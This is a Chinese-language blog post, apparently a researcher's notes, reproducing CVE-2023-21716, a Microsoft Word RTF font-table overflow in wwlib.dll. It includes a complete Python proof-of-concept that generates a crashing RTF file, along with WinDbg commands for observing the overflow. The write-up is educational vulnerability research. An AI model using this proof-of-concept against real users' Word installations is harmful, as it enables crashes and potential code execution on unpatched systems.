CVE-2023-21716 Microsoft Word远程代码执行漏洞(持续更新)

笔记

随记

今天上班,正好看到了来自机器人和同事的双重消息,本来还在琢磨这月渗透啥带劲点,但,它实在是太诱人了,远程执行,溢出,这次主要问题在于word中wwlib动态链接库在调用中的溢出,话不多说,我们来复现一下。

准备工作

在开工之前,我们需要准备以下工具和环境对这个漏洞进行复现:

  1. Windbg(需要根据你的操作系统进行选配,我是windows11,所以无脑点最新的Windows SDK)
  2. Python(生成POC)
  3. Office Word(ps:废话 →_→)

因为我自己正好有Office 365的订阅,虽然报告人员当时提到至少影响的有Office365 Build 15831.20122这个版本,而我的版本比这个版本更高一点,是16130.20218

/posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-17-48-12.png

但很不幸,提前说一句,也中招了。

开工

首先,我们需要将poc生成出来,这里我将代码放在这里,然后说明一下基本原理(细说放到后续对于wwlib.dll这个文件的解析中):

import sys
num = 32761
if len(sys.argv) > 1:
        num = int(sys.argv[1])
f = open("CVE-2023-21716.rtf", "wb")
f.write("{\\rtf1{\n{\\fonttbl")
for i in range(num):
        f.write("{\\f%dA;}\n" % i)
f.write("}\n")
f.write("{\\rtlch it didn't crash?? no calc?! BOO!!!}\n")
f.write("}}\n")
f.close()

这个报告人员还挺好玩的说:-) (译:给你一点小小的崩溃震撼)

我们来看一下这个代码,第六行的"{\\rtf1{\n{\\fonttbl",意图构建一个rtf格式的文件,而\fonttbl则是用于控制字体以及引入字体表,这次漏洞的溢出点也在这个地方,循环构造多个字体id,使fonttbl处理过多字体,从而造成溢出(由于本人精力和能力有限,在下次更新时解读此处的处理细节)

生成的文件详情如下 /posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-18-12-36.png

接下来我们使用windbg对word进行调试,至于怎么引入可执行文件啥的就不赘述了 /posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-18-18-08.png

要是找不到word在哪,那就随便打开一个自己去定位一下,文件名为WINWORD.EXE /posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-18-19-44.png

进入到windbg后,首先输入e ebx+2 00命令,修改ebx+2内存地址的值,隐藏调试器,然后再输入xe ld:wwlib,运行直到 wwlib被加载,最后输入k,我们可以观察到此处的溢出提示 /posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-19-45-17.png

补一下运行bp wwlib+0x37f0bd ".printf \"*** edx will become: 0x%x (from 0x%x+0x%x*2)\\n\", (ecx+edx*2), ecx, edx;gc"bp wwlib+0x37f0c3 ".printf \"*** writing 0x%x to 0x%x [0x%x+0x%x*2+4] (div 3: 0x%x)\\n\", ecx & 0xffff, (esi+(edx*2)+4), esi, edx, edx/3;gc"的结果(2023-3-9)

提示

此处我其实纳闷了好久xe的作用,因为按照微软官方的文档中只有一个sxe命令,但没有xe,在我查阅前人的资料时注意到这个xe命令也很难找到解释,后来在这个链接,注意到这段话 /posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-19-13-26.png

xe和sxe在我所能收集到的调试器解释中都在表明这是在做错误处理,在下一句的g命令执行时,载入我们的poc时能够跳出调试器,否则命令输入框就会出现"debugger is running"的字样,也就无法再输入k命令来显示堆栈信息。

最后我们也就能得到吗,例如奇安信CERT复现的内容了 /posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-19-50-01.png

《未完待续,关于wwlib的逆向分析》 /posts/cve-2023-21716%E5%A4%8D%E7%8E%B0%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/img/2023-03-08-19-56-01.png

0%